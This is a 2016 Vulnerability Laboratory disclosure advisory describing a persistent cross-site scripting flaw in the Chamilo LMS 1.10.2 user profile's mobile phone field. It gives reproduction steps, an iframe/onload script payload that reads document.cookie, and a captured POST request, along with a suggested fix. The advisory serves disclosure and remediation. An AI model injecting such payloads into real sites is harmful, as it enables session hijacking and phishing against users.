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[FD] Chamlio LMS v1.10.2 - (Profile) Persistent Web Vulnerability

Document Title:
===============
Chamlio LMS v1.10.2 - (Profile) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1781


Release Date:
=============
2016-03-14


Vulnerability Laboratory ID (VL-ID):
====================================
1781


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Chamilo is an open-source (under GNU/GPL licensing) e-learning and content 
management system, aimed at improving access to education 
and knowledge globally. It is backed up by the Chamilo Association, which has 
goals including the promotion of the software, the 
maintenance of a clear communication channel and the building of a network of 
services providers and software contributors.

The Chamilo project aims at ensuring the availability and quality of education 
at a reduced cost, through the distribution of its 
software free of charge, the improvement of its interface for 3rd world 
countries devices portability and the provision of a free 
access public e-learning campus.

(Copy of the Vendor Homepage: https://chamilo.org/chamilo-lms/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an 
application-side cross site vulnerability in the offical Chamilo LMS 
web-application.


Vulnerability Disclosure Timeline:
==================================
2016-03-14:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Chamlio
Product: Chamlio LMS - Content Management System (Web-Application) 1.10.2 


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discoverd in the 
offical Chamilo LMS content management web-application. 
The security vulnerability allows remote attackers to inject own script code to 
the application-side of the affected application module.

The vulnerability is Located in `User Profile` page of the web-application. 
Remote attackers with low privileged web-application user 
accounts are able to inject own malicious script code via POST method request 
to the application-side. The injection point is the vulnerable 
[extra_mobile_phone_number] parameter in upload POST method request. The 
request method to inject is POST and the vulnerability is located to 
the application-side of the vulnerable online-service.

The security risk of the application-side vulnerability is estimated as medium 
with a cvss (common vulnerability scoring system) count of 3.4. 
Exploitation of the persistent web vulnerability requires a low privileged ios 
device account with restricted access and low user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing 
mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Request Method(s):
                             [+] POST

Affected Module(s):
                             [+] auth/profile.php                               
 

Vulnerable Parameter(s):
                             [+] extra_mobile_phone_number


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low 
privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. User edited his own profile throught registration process or throught edit 
user profile option in chamilo LMS platform 
2. User fill in the option for his/her mobile phone with a persistent code [ 
'><iframe src=http://vuln-lab.com onload=alert(document.cookie) < ] 


--- PoC Session Logs [POST] ---
POST /site/main/auth/profile.php? HTTP/1.1
Host: Chamilo.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 
Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://Chamilo.com/main/auth/profile.php
Cookie: defaultMyCourseView15=0; 
__cfduid=dcb5fdb8a711dd176639addf2c390449a331452648620; 
ch_sid=d8e8ff97d740sq22afca42853b2dca29273
Connection: keep-alive
Content-Type: multipart/form-data; 
boundary=---------------------------37939813317594530581121058221
Content-Length: 2561
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="firstname"
user
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="lastname"
amer
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="username"
lawrenceamer
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="official_code"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="email"
user@xxxxxxxxx
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="phone"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="picture"; filename=""
Content-Type: application/octet-stream
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="language"
english
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="password0"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="password1"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="password2"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mail_notify_invitation"
1
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mail_notify_message"
1
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mail_notify_group_message"
1
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="extra_mobile_phone_number"
[XSS PERSISTENT CODE ] 
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="apply_change"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="_qf__profile"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="MAX_FILE_SIZE"
134217728
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="cropResult"
-----------------------------37939813317594530581121058221
Content-Disposition: form-data; name="item_id"
15
-----------------------------37939813317594530581121058221--




Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of vulnerable 
[extra_mobile_phone_number] parameter that is used for the input field.
Restrict the input and disallow usage of special chars. Filter and setup a 
secure exception handling that prevents the persistent execution in the 
output location of the profile.


Security Risk:
==============
The security risk of the application-side validation web vulnerability in the 
profile module is estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - 
http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer


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=========================
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